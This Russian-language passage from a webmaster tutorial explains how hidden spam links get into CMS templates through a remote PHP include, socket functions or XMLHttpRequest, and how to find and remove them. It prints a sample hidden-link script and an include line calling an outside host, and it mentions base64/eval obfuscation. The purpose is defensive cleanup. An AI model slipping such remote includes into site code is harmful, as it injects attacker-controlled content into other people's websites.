Суть их заключается в том, что в код вашего сайта (шаблона Joomla, WordPress и т.п.) да и любой другой CMS (в том числе и самого движка) встраивается код, который будет обращаться к скрипту на другом сайте. А тот скрипт в свою очередь уже и будет генерировать посторонний контент. Естественно, вы захотите удалить его, но обнаружение такого кода осложняется тем, что вы должны будете искать в своём коде вовсе не содержание контента (зашифрованное или открытое - не важно), поскольку генерируемый сторонним скриптом контент может меняться и при том довольно часто. В данном случае вам придётся определить какой именно участок кода шаблона или движка вашей CMS отвечает за появление постороннего контента на страницах вашего сайта и только потом удалить его, либо закомментировать (или иным образом изменить).

Итак, пятый способ внедрить (а зная, как внедрить, становиться понятно и как удалить)посторонний контент в ваш сайт основывается на использовании функции PHP include() .

Допустим, что некто сделал на своём хостинге PHP-скрипт script.php следующего содержания:

<div style=\"position:absolute;top:-3000px;\"> <a href=\"site.ru\">site.ru</a></div>

Далее, разработчик включает в код шаблона такую конструкцию include "http://levyi.site.com/script.php";

При открытии вашей страницы www-сервер передаст указанную инструкцию в PHP и выполнит указанный скрипт на удаленном сервере. Заметьте, что таким образом владелец удалённого скрипта не может ни получить данные переменных из вашего скрипта, ни передать свои переменные в ваш скрипт (что, конечно, радует). Но всё. что скрипт выводит (ну т.е. пишет) появиться в окне браузера и вы получите "левую" ссылку на своём сайте. Снова обращаю внимание, что в данном случае поиск содержимого левой ссылки ни к чему не приведёт, так как это содержимое, во-первых, физически находиться на другом сервере, а во-вторых, может динамически изменяться. Владельцу скрипта в данном случае даже не нужно шифровать содержимое постороннего контента.

Борьба (удаление левых ссылок) с таким методом внедрения будет сводиться к поиску функций include и им подобных (например, include_once). Если эта функция обращается к скрипту, определённому с префиксом http:// (ну или https://) - то это однозначно должно вас насторожить, так как будет означать обращение на внешний ресурс, достаточно эту функцию удалить (закомментировать) и задача выполнена. Конечно же, содержимое строки в include можно зашифровать при помощи base64_encode, а потом раскодировать и "скормить", а можно и воспользоваться способом с использованием eval(), но это уже "вариации на тему".

Еще один способ заключается в использовании сокетов. Сразу же скажу, что такой способ включений в ваш сайт позволит автору этих самых включений не только генерировать на вашем сайте какой-либо контент, но также получать значение переменных, используемых скриптом вашего сайта, и даже отправлять вашему сайту некоторые свои переменные. Для организации передачи данных через сокеты в PHP используются в основном три функции: fsockopen()curl() и file_get_contents().

В рамках этой статьи мы не будем рассматривать подробно принципы их работы. Вкратце скажу только, что они позволяют получать контент со стороннего сайта методами POST и GET, что даёт им возможность вести полноценный обмен с удалённым сайтом (не только результатами работы удалённого скрипта - текстовым выводом, но и отправлять и получать различные данные). Побороть внедрение постороннего контента в данном случае можно, внимательно проанализировав наличие указанных выше функций PHP и их предназначение. В должны будете попробовать закомментировать вызвавшие у вас подозрение строки и оценить посмотреть не пропал ли "левый" контент. Нередко эти функции необходимы для нормальной работы сайта (особенно если сайт имеет функционал по обмену данными со сторонним ресурсом), поэтому увидев подобные функции в коде своего сайта впадать в панику не стоит, но обратить на них внимание нужно обязательно (особенно если никакого функционала по обмену данными со сторонними ресурсами у вас не предусмотрено).

Также стоит упомянуть о том, что подобный механизм внедрения постороннего контента можно организовать и при помощи JavaScript, точнее, при помощи вызова объекта XMLHttpRequest, поэтому вам необходимо будет контролировать и его использование.

При комментировании или удалении обнаруженного "левого" кода будьте готовы к тому, что страница может изменить вид ("перекоситься") или же вовсе перестать работать. Это может произойти по тому, что код, который генерирует посторонний контент может также содержать ключевые участки (переменные, объекты, теги)  исходного кода. Помните, что изменяя код, вы сами становитесь хоть немножечко и не надолго, но программистом, а это, поверьте, дело не лёгкое.